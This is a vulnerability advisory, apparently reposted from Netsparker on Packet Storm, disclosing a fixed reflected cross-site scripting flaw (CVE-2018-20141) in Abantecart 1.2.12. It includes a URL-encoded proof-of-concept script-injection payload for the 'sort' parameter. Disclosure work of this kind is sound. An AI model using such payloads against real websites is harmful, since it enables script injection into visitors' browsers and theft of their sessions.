Abantecart 1.2.12 Cross Site Scripting

Type packetstorm
Reporter Omer Citak
Modified 2019-01-23T00:00:00


                                            `Cross-site Scripting Vulnerability in Abantecart 1.2.12  
Advisory by Netsparker  
Name: Reflected Cross-site Scripting in Abantecart 1.2.12  
Affected Software: Abantecart  
Affected Versions: 1.2.12  
Homepage: http://www.abantecart.com/  
Vulnerability: Cross-site Scripting  
Severity: High  
Status: Fixed  
CVE-ID: CVE-2018-20141  
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
Netsparker Advisory Reference: NS-18-049  
Technical Details  
URL: http://{domain}/{abantecart_path}/apparel--accessories?sort=%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Ealert%280x003134%29%3C%2FscRipt%3E   
Parameter Name: sort  
Parameter Type: GET  
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Enetsparker%25280x003134%2529%253C%252FscRipt%253E  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
Advisory Timeline  
12th November 2018 - First Contact  
13th December 2018 - Vendor Fixed  
23th January 2019 - Advisory Released  
Credits & Authors  
These issues have been discovered by Amer Aitak while testing Netsparker Web Application Security Scanner.  
About Netsparker  
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.